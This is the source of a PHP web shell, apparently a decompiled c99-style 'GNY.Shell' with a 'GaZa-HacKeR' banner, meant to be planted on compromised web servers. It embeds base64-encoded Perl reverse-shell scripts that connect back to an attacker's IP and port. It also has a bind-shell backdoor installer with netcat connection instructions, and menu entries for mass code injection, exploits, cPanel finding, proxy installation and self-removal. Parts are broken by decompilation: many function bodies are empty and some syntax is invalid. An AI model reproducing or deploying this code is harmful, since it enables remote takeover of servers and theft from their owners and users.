fX3ByZWluaXRfYXJyYXlfZW5kAGV4aXRAQEdM\r\nSUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2FycmF5X3N0\r\nYXJ0AF9JT19zdGRpbl91c2VkAHNwcmludGZAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX0p2X1Jl\r\nZ2lzdGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";


$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";



$fi = "\r\nIyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9\r\n";
if ( !isset( $_POST['backconnectport'] ) && $_POST['use'] == "shbd" )
{
    $ip = gethostbyname( $_SERVER['HTTP_HOST'] );
    $por = $_POST['backconnectport'];
    if ( is_writable( "." ) )
    {
        cfb( "shbd", $backdoor );
        chmod( "shbd", 511 );
        $cmd = "./shbd $por";
        exec( "$cmd > /dev/null &" );
        $scan = myshellexec( "ps aux" );
        if ( eregi( "./shbd $por", $scan ) )
        {
            $data = "\n</br></br>Process found running, backdoor setup successfully.";
        }
        else if ( eregi( "./shbd $por", $scan ) )
        {
            $data = "\n</br>Process not found running, backdoor not setup successfully.";
        }
        $_POST['backcconnmsg'] = "To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
    }
    cfb( "/tmp/shbd", $backdoor );
    chmod( "/tmp/shbd", 511 );
    $cmd = "./tmp/shbd $por";
    exec( "$cmd > /dev/null &" );
    $scan = myshellexec( "ps aux" );
    if ( eregi( "./shbd $por", $scan ) )
    {
        $data = "\n</br></br>Process found running, backdoor setup successfully.";
    }
    else if ( eregi( "./shbd $por", $scan ) )
    {
        $data = "\n</br>Process not found running, backdoor not setup successfully.";
    }
    $_POST['backcconnmsg'] = "To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
}
if ( !isset( $_POST['backconnectip'] ) && !isset( $_POST['backconnectport'] ) && $_POST['use'] == "Perl" )
{
    if ( is_writable( "." ) )
    {
        cf( "back", $back_connect );
        $p2 = which( "perl" );
        $blah = ex( $p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
        $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
        if ( file_exists( "back" ) )
        {
            unlink( "back" );
        }
    }
    cf( "/tmp/back", $back_connect );
    $p2 = which( "perl" );
    $blah = ex( $p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
    $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
    if ( file_exists( "/tmp/back" ) )
    {
        unlink( "/tmp/back" );
    }
}
if ( !isset( $_POST['backconnectip'] ) && !isset( $_POST['backconnectport'] ) && $_POST['use'] == "C" )
{
    if ( is_writable( "." ) )
    {
        cf( "backc", $back_connect_c );
        chmod( "backc", 511 );
        $blah = ex( "./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
        $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
        if ( file_exists( "backc" ) )
        {
            unlink( "backc" );
        }
    }
    chmod( "/tmp/backc", 511 );
    cf( "/tmp/backc", $back_connect_c );
    $blah = ex( "/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &" );
    $_POST['backcconnmsg'] = "Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
    if ( file_exists( "/tmp/backc" ) )
    {
        unlink( "/tmp/backc" );
    }
}
ini_set( "max_execution_time", 0 );
if ( !function_exists( "getmicrotime" ) )
{
}
error_reporting( 5 );
$adires = "";
@ignore_user_abort( TRUE );
@set_magic_quotes_runtime( 0 );
$win = strtolower( substr( PHP_OS, 0, 3 ) ) == "win";
define( "starttime", getmicrotime( ) );
if ( get_magic_quotes_gpc( ) )
{
    if ( !function_exists( "strips" ) )
    {
    }
    strips( $GLOBALS );
}
$_REQUEST = array_merge( $_COOKIE, $_GET, $_POST );
foreach ( $_REQUEST as $k=>$v )
{
    if ( !isset( $Var_330 ) )
    {
        ${ $k } = $v;
    }
}
$shver = "1.3.37";
if ( !isset( $unset_surl ) )
{
    setcookie( "GNY_surl" );
    $surl = "";
}
else if ( !isset( $set_surl ) )
{
    $surl = $set_surl;
    setcookie( "GNY_surl", $surl );
}
else
{
    $surl = $_REQUEST['GNY_surl'];
}
$surl_autofill_include = TRUE;
if ( $surl_autofill_include && !$_REQUEST['GNY_surl'] )
{
    $include = "&";
    foreach ( explode( "&", getenv( "QUERY_STRING" ) ) as $v )
    {
        $v = explode( "=", $v );
        $name = urldecode( $v[0] );
        $value = urldecode( $v[1] );
        foreach ( array( "http://", "https://", "ssl://", "ftp://", "\\\\" ) as $needle )
        {
            if ( strpos( $value, $needle ) === 0 )
            {
                $includestr .= urlencode( $name )."=".urlencode( $value )."&";
            }
        }
    }
    if ( $_REQUEST['surl_autofill_include'] )
    {
        $includestr .= "surl_autofill_include=1&";
    }
}
if ( isset( $surl ) )
{
    $surl = "?".$includestr;
}
$surl = htmlspecialchars( $surl );
$timelimit = 0;
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array( "*" );
$login_txt = "Restricted area";
$accessdeniedmess = "You cannot access this file directly.<br /><a href=\"javascript: history.go(-1)\">Go Back</a>";
$gzipencode = TRUE;
$updatenow = FALSE;
$GNY_updateurl = "";
$GNY_sourcesurl = "";
$filestealth = TRUE;
$donated_html = "";
$donated_act = array( "" );
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "user@host.tld";
$sort_default = "0a";
$sort_save = TRUE;
$ftypes = array( "html"=>array( "html", "htm", "shtml" ), "txt"=>array( "txt", "conf", "bat", "sh", "js", "bak", "doc", "log", "sfc", "cfg", "htaccess", "passwd", "shadow" ), "exe"=>array( "sh", "install", "bat", "cmd" ), "ini"=>array( "ini", "inf" ), "code"=>array( "php", "phtml", "php3", "php4", "inc", "tcl", "h", "c", "cpp", "py", "cgi", "pl" ), "img"=>array( "gif", "png", "jpeg", "jfif", "jpg", "jpe", "bmp", "ico", "tif", "tiff", "avi", "mpg", "mpeg" ), "sdb"=>array( "sdb" ), "phpsess"=>array( "sess" ), "download"=>array( "exe", "com", "pif", "src", "lnk", "zip", "rar", "gz", "tar" ) );
$dizin = str_replace( "\\", DIRECTORY_SEPARATOR, $dizin );
if ( isset( $dizin ) )
{
    $dizin = realpath( "." );
}
else if ( realpath( $dizin ) )
{
    $dizin = realpath( $dizin );
}
$dizin = str_replace( "\\", DIRECTORY_SEPARATOR, $dizin );
if ( substr( $dizin, 0 - 1 ) != DIRECTORY_SEPARATOR )
{
    $dizin .= DIRECTORY_SEPARATOR;
}
$dizin = str_replace( "\\\\", "\\", $dizin );
$dizinispd = htmlspecialchars( $dizin );
$real = realpath( $dizinispd );
$path = basename( $PHP_SELF );
$exeftypes = array( getenv( "PHPRC" )." -q %f%"=>array( "php", "php3", "php4" ), "perl %f%"=>array( "pl", "cgi" ) );
$regxp_highlight = array( , array( "config.php", 1 ), array( "settings.php", 1 ), array( "connect.php", 1 ) );
$safemode_diskettes = array( "a" );
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "GNY";
$bindport_port = "31373";
$bc_port = "5992";
$datapipe_localport = "8081";
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj \r\naG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR \r\nhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT \r\nsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI \r\nkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi \r\nKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl \r\nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$sess_cookie = "GNYvars";
$usefsbuff = TRUE;
$copy_unset = FALSE;
$quicklaunch = array( , array( "[Back]", "javascript:history.back(1)" ), array( "[Forward]", "javascript:history.go(1)" ), array( "[Up]", $surl."act=ls&d=%upd&sort=%sort" ), array( "[Refresh]", "" ), array( "[Search]", $surl."act=search&d=%d" ), array( "[Buffer]", $surl."act=fsbuff&d=%d" ), array( "<br><br><center><b>[String/Hash Tools]</b>", $surl."act=encoder&d=%d" ), array( "<b>[Processes]</b>", $surl."act=processes&d=%d" ), array( "<b>[Users]</b>", $surl."act=users" ), array( "<b>[System Information]</b>", $surl."act=security&d=%d" ), array( "<b>[SQL Manager]</b>", $surl."act=sql&d=%d" ), array( "<b>[Reverse IP]</b>", $surl."act=rip" ), array( "<b>[Kernel Exploit Search]</b>", $surl."act=exploit" ), array( "<b>[Execute PHP Code]</b>", $surl."act=eval&d=%d" ), array( "<b>[PHP Info]</b></center>", $surl."act=phpinfo&d=%d" ) );
$quicklaunch2 = array( , array( "<b>[Bind Shell Backdoor]</b>", $surl."act=shbd" ), array( "<b>[Back-Connection]</b>", $surl."act=backc" ), array( "<b>[Mass Code Injection]</b>", $surl."act=massbrowsersploit" ), array( "<b>[Exploits]</b>", $surl."act=exploits" ), array( "<b>[cPanel Finder]</b>", $surl."act=cpanel" ), array( "<b>[RFI/LFI Finder]</b>", $surl."act=fi" ), array( "<b>[Install IP:Port Proxy]</b>", $surl."act=proxy" ), array( "<b>[Install PHP Proxy]</b>", $surl."act=phpproxy" ), array( "<b>[Suicide Script]</b></center>", $surl."act=selfremove" ) );
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
$f = $_REQUEST['f'];
@extract( $_REQUEST['GNYcook'] );
@set_time_limit( 0 );
$tmp = array( );
foreach ( $host_allow as $k=>$v )
{
    $Var_681[$tmp] = str_replace( "\\*", ".*", preg_quote( $v ) );
}
$s = "!^(".implode( "|", $tmp ).")\$!i";
if ( !preg_match( $s, getenv( "REMOTE_ADDR" ) ) && !preg_match( $s, gethostbyaddr( getenv( "REMOTE_ADDR" ) ) ) )
{
    exit( );
}
if ( !isset( $login ) )
{
    if ( isset( $md5_pass ) )
    {
        $md5_pass = md5( $pass );
    }
    if ( $_SERVER['PHP_AUTH_USER'] != $login || md5( $_SERVER['PHP_AUTH_PW'] ) != $md5_pass )
    {
        if ( isset( $login_txt ) )
        {
            $login_txt = strip_tags( ereg_replace( "&nbsp;|<br>", " ", $donated_html ) );
        }
        header( "WWW-Authenticate: Basic realm=\"GNY.Shell ".$shver.": ".$login_txt."\"" );
        header( "HTTP/1.0 401 Unauthorized" );
        exit( );
    }
}
if ( $act != "img" )
{
    $lastdir = realpath( "." );
    chdir( $curdir );
    if ( $selfwrite || $updatenow )
    {
        @ob_clean( );
        sh_getupdate( $selfwrite, 1 );
        exit( );
    }
    $sess_data = unserialize( $_COOKIE["$sess_cookie"] );
    if ( !is_array( $sess_data ) )
    {
        $sess_data = array( );
    }
    if ( !is_array( $sess_data['copy'] ) )
    {
        $sess_data['copy'] = array( );
    }
    if ( !is_array( $sess_data['cut'] ) )
    {
        $sess_data['cut'] = array( );
    }
    $disablefunc = ini_get( "disable_functions" );
    if ( !isset( $disablefunc ) )
    {
        $disablefunc = str_replace( " ", "", $disablefunc );
        $disablefunc = explode( ",", $disablefunc );
    }
    if ( !function_exists( "buff_prepare" ) )
    {
    }
    buff_prepare( );
    if ( !function_exists( "sess_put" ) )
    {
    }
    foreach ( array( "sort", "sql_sort" ) as $v )
    {
        if ( !isset( $_GET[$v] ) )
        {
            ${ $v } = $_GET[$v];
        }
        if ( !isset( $_POST[$v] ) )
        {
            ${ $v } = $_POST[$v];
        }
    }
    if ( $sort_save )
    {
        if ( !isset( $sort ) )
        {
            setcookie( "sort", $sort );
        }
        if ( !isset( $sql_sort ) )
        {
            setcookie( "sql_sort", $sql_sort );
        }
    }
    if ( !function_exists( "str2mini" ) )
    {
    }
    if ( !function_exists( "view_size" ) )
    {
    }
    if ( !function_exists( "fs_copy_dir" ) )
    {
    }
    if ( !function_exists( "fs_copy_obj" ) )
    {
    }
    if ( !function_exists( "fs_move_dir" ) )
    {
    }
    if ( !function_exists( "fs_move_obj" ) )
    {
    }
    if ( !function_exists( "fs_rmdir" ) )
    {
    }
    if ( !function_exists( "fs_rmobj" ) )
    {
    }
    if ( !function_exists( "myshellexec" ) )
    {
    }
    if ( !function_exists( "tabsort" ) )
    {
    }
    if ( !function_exists( "view_perms" ) )
    {
    }
    if ( !function_exists( "posix_getpwuid" ) && !in_array( "posix_getpwuid", $disablefunc ) )
    {
    }
    if ( !function_exists( "posix_getgrgid" ) && !in_array( "posix_getgrgid", $disablefunc ) )
    {
    }
    if ( !function_exists( "posix_kill" ) && !in_array( "posix_kill", $disablefunc ) )
    {
    }
    if ( !function_exists( "parse_perms" ) )
    {
    }
    if ( !function_exists( "parsesort" ) )
    {
    }
    if ( !function_exists( "view_perms_color" ) )
    {
    }
    if ( !function_exists( "getsource" ) )
    {
    }
    if ( !function_exists( "sh_getupdate" ) )
    {
    }
    if ( !function_exists( "mysql_dump" ) )
    {
    }
    if ( !function_exists( "mysql_buildwhere" ) )
    {
    }
    if ( !function_exists( "mysql_fetch_all" ) )
    {
    }
    if ( !function_exists( "mysql_smarterror" ) )
    {
    }
    if ( !function_exists( "mysql_query_form" ) )
    {
    }
    if ( !function_exists( "mysql_create_db" ) )
    {
    }
    if ( !function_exists( "mysql_query_parse" ) )
    {
    }
    if ( !function_exists( "fsearch" ) )
    {
    }
    if ( $act == "gofile" )
    {
        if ( is_dir( $f ) )
        {
            $act = "ls";
            $d = $f;
        }
        else
        {
            $act = "f";
            $d = dirname( $f );
            $f = basename( $f );
        }
    }
    @ob_start( );
    @ob_implicit_flush( 0 );
    header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );
    header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );
    header( "Cache-Control: no-store, no-cache, must-revalidate" );
    header( "Cache-Control: post-check=0, pre-check=0", FALSE );
    header( "Pragma: no-cache" );
    if ( isset( $tmpdir ) )
    {
        $tmpdir = ini_get( "upload_tmp_dir" );
        if ( is_dir( $tmpdir ) )
        {
            $tmpdir = "/tmp/";
        }
    }
    $tmpdir = realpath( $tmpdir );
    $tmpdir = str_replace( "\\", DIRECTORY_SEPARATOR, $tmpdir );
    if ( substr( $tmpdir, 0 - 1 ) != DIRECTORY_SEPARATOR )
    {
        $tmpdir .= DIRECTORY_SEPARATOR;
    }
    if ( isset( $tmpdir_logs ) )
    {
        $tmpdir_logs = $tmpdir;
    }
    else
    {
        $tmpdir_logs = realpath( $tmpdir_logs );
    }
    if ( ini_get( "safe_mode" ) || strtolower( ini_get( "safe_mode" ) ) == "on" )
    {
        $safemode = TRUE;
        $hsafemode = "<font color=red>ON (secure)</font>";
    }
    else
    {
        $safemode = FALSE;
        $hsafemode = "<font color=green>OFF (not secure)</font>";
    }
    $v = ini_get( "open_basedir" );
    if ( $v || strtolower( $v ) == "on" )
    {
        $openbasedir = TRUE;
        $hopenbasedir = "<font color=red>".$v."</font>";
    }
    else
    {
        $openbasedir = FALSE;
        $hopenbasedir = "<font color=green>OFF (not secure)</font>";
    }
    $sort = htmlspecialchars( $sort );
    if ( isset( $sort ) )
    {
        $sort = $sort_default;
    }
    $sort[1] = strtolower( $sort[1] );
    $DISP_SERVER_SOFTWARE = getenv( "SERVER_SOFTWARE" );
    if ( !ereg( "PHP/".phpversion( ), $DISP_SERVER_SOFTWARE ) )
    {
        $DISP_SERVER_SOFTWARE .= ". PHP/".phpversion( );
    }
    $DISP_SERVER_SOFTWARE = str_replace( "PHP/".phpversion( ), "<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion( )."</u></b></a>", htmlspecialchars( $DISP_SERVER_SOFTWARE ) );
    @ini_set( "highlight.bg", $highlight_bg );
    @ini_set( "highlight.comment", $highlight_comment );
    @ini_set( "highlight.default", $highlight_default );
    @ini_set( "highlight.html", $highlight_html );
    @ini_set( "highlight.keyword", $highlight_keyword );
    @ini_set( "highlight.string", $highlight_string );
    if ( !is_array( $actbox ) )
    {
        $actbox = array( );
    }
    $dspact = $act = htmlspecialchars( $act );
    $disp_fullpath = $ls_arr = $notls = null;
    $ud = urlencode( $d );
    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"><meta http-equiv=\"Content-Language\" content=\"en-us\"><title>\r\n:::::::::::::::&nbsp;&nbsp; &#1588;&#1610;&#1604; &#1602;&#1585;&#1575;&#1589;&#1606;&#1577; &#1594;&#1586;&#1577; &#1607;&#1603;&#1585;&nbsp;&nbsp; :::::::::::::::</title>";
    echo "<S";
    echo "TYLE>TD { FONT-SIZE: 8pt; COLOR: #0033FF; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #0033FF; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #0033FF; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; C";
    echo "OLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0033FF; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #66DD11; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; TEXT-DECORATION: none;}A:hover { COLOR: #66DD11; TEXT-DECORATION: bold;}.skin0{po";
    echo "sition:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.me";
    echo "nuitems{padding-left:15px; padding-right:10px;;}input{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{backgrou";
    echo "nd-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-si";
    echo "ze: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #0033FF; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #0033FF;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginhei";
    echo "ght=0 marginwidth=0><center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\"><tr><th width=\"101%\" height=\"15\" nowrap bordercolor=\"#C0C0C0\" valign=\"top\" colspan=\"2\"><center><font color=\"#0033FF\"><pre>  _____ _   ___     __ _____ _          _ _ \r\n / ____| \\ | \\ \\   / // ";
    echo "____| |        | | |\r\n| |                           |__   ___| | |\r\n<u><font size=\"6\">GaZa-HacKeR\r\n</font></u>| |__| | |\\  |  | | _ ____) | | | |  __/ | |\r\n \\_____|_| \\_|  |_|(_)_____/|_| |_|\\___|_|_|</pre></font>\r\n</center></th></tr><tr><td>\r\n<table border=0 width=100%>\r\n<tr><td colspan=2><center><b>";
    echo $DISP_SERVER_SOFTWARE;
    echo "</td></tr>\r\n<tr><td><b>Kernel: ";
    echo wordwrap( php_uname( ), 90, "<br>", 1 );
    if ( $win )
